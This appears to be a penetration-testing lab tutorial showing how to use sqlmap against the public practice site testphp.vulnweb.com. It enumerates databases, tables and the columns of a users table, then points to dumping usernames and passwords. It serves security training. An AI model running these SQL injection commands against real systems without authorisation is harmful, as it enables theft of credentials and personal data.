Introduction
In this lab, you will learn how to use sqlmap to enumerate column names and their data types from a specific table within a database. sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. Understanding how to enumerate columns is a crucial step in database exploitation, as it allows you to precisely target and extract sensitive information. We will focus on using the -T flag to specify the target table and the --columns flag to list its columns.
Select a Target Database and Table for Enumeration
In this step, we will identify a hypothetical target database and a specific table within it that we want to enumerate columns from. For the purpose of this lab, we will assume we have already identified a vulnerable URL and a database named testdb containing a table named users.
First, let's ensure sqlmap is available on your system. If it's not, you can install it using apt.
sudo apt update
sudo apt install -y sqlmap
Now, let's simulate a vulnerable target. We will use a dummy URL for demonstration purposes. In a real-world scenario, this would be a URL susceptible to SQL injection.
For this lab, we will use the following placeholder URL: http://testphp.vulnweb.com/listproducts.php?cat=1. This is a known vulnerable target often used for testing. We will assume we have already identified a database named acuart and a table named users within it. Our goal is to enumerate columns from the users table.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
You should see a list of databases, including acuart. This confirms our target is accessible and sqlmap can interact with it.
...
[INFO] fetched data for all databases
available databases [2]:
[*] acuart
[*] information_schema
...
Next, let's confirm the tables in the acuart database.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
You should see a list of tables, including users.
...
[INFO] fetched data for all tables in database 'acuart'
Database: acuart
[10 tables]
+------------+
| artists |
| carts |
| categories |
| guestbook |
| pictures |
| products |
| users |
| ... |
+------------+
...
This confirms that acuart database and users table exist on our target.
Use the -T Flag to Specify the Table
In this step, we will learn how to use the -T flag in sqlmap to specify the target table from which we want to enumerate columns. The -T flag is used in conjunction with the -D flag (for database) to narrow down the scope of our enumeration.
The basic syntax for specifying a table is:
sqlmap -u <target_url> -D <database_name> -T <table_name> [other_options]
Continuing from the previous step, we have identified the database acuart and the table users. Now, we will prepare the sqlmap command to target this specific table. We won't execute the full enumeration yet, but rather build the command.
Open your terminal in the ~/project directory.
echo 'sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users' > command_part1.txt
cat command_part1.txt
This command saves the initial part of our sqlmap command to a file named command_part1.txt and then displays its content. This helps in building complex commands step-by-step.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users
By using -D acuart -T users, we are telling sqlmap to focus its operations specifically on the users table within the acuart database. This is crucial for efficient and targeted enumeration.
Use the --columns Flag to List Columns
In this step, we will introduce the --columns flag, which is used to instruct sqlmap to enumerate the column names and their data types within the specified table. This flag is essential for understanding the structure of the table and identifying potentially interesting columns for data extraction.
The --columns flag is appended to the command we started building in the previous step.
The full syntax will be:
sqlmap -u <target_url> -D <database_name> -T <table_name> --columns
Let's add the --columns flag to our command.
echo ' --columns' >> command_part1.txt
cat command_part1.txt
Now, the command_part1.txt file should contain the complete sqlmap command for enumerating columns from the users table.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns
The --columns flag tells sqlmap to perform a specific type of enumeration: listing all available columns in the target table. This is a powerful feature that helps in mapping out the database schema.
Execute the Command to Enumerate Columns
In this step, we will execute the complete sqlmap command that we have constructed in the previous steps. This command will instruct sqlmap to connect to the target URL, identify the acuart database, target the users table, and then enumerate all columns within that table.
Make sure you are in the ~/project directory.
bash command_part1.txt
Upon execution, sqlmap will begin its process. It might ask you a few questions during the process, such as whether to use a specific payload or to continue with default options. For this lab, you can generally press Enter to accept the default choices or y for yes if prompted.
...
[INFO] fetched data for all columns in table 'users' in database 'acuart'
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| email | varchar(50) |
| uname | varchar(20) |
| pass | varchar(20) |
| cc | varchar(20) |
| address | varchar(50) |
| name | varchar(50) |
| phone | varchar(20) |
+----------+-----------+
...
The output will display a table listing the column names and their corresponding data types found in the users table. This is the core objective of this lab.
Review the Column Names and their Data Types
In this final step, we will review the output from the sqlmap command executed in the previous step. Understanding the enumerated column names and their data types is crucial for further exploitation or analysis.
Look at the output from the previous command. You should see a table similar to this:
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| email | varchar(50) |
| uname | varchar(20) |
| pass | varchar(20) |
| cc | varchar(20) |
| address | varchar(50) |
| name | varchar(50) |
| phone | varchar(20) |
+----------+-----------+
From this output, we can identify several important columns:
email: Likely stores user email addresses.uname: Likely stores usernames.pass: Likely stores user passwords (or password hashes).cc: Potentially stores credit card information.address: Stores user addresses.name: Stores user full names.phone: Stores user phone numbers.
The Type column indicates the data type of each column (e.g., varchar(50) means a variable-length string up to 50 characters). This information is vital for crafting subsequent sqlmap commands, such as dumping data from specific columns using the -C flag. For example, to dump usernames and passwords, you would use -C uname,pass --dump.
This step concludes the process of enumerating columns from a specific table using sqlmap. You now have a clear understanding of how to target specific tables and retrieve their column structures.
Summary
In this lab, you successfully learned how to enumerate columns from a specific table using sqlmap. You started by identifying a target database and table, then progressively built the sqlmap command using the -D (database), -T (table), and --columns flags. Finally, you executed the command and reviewed the output, understanding the significance of the enumerated column names and their data types. This skill is fundamental for anyone performing database penetration testing or security assessments, as it provides the necessary information to extract sensitive data effectively.
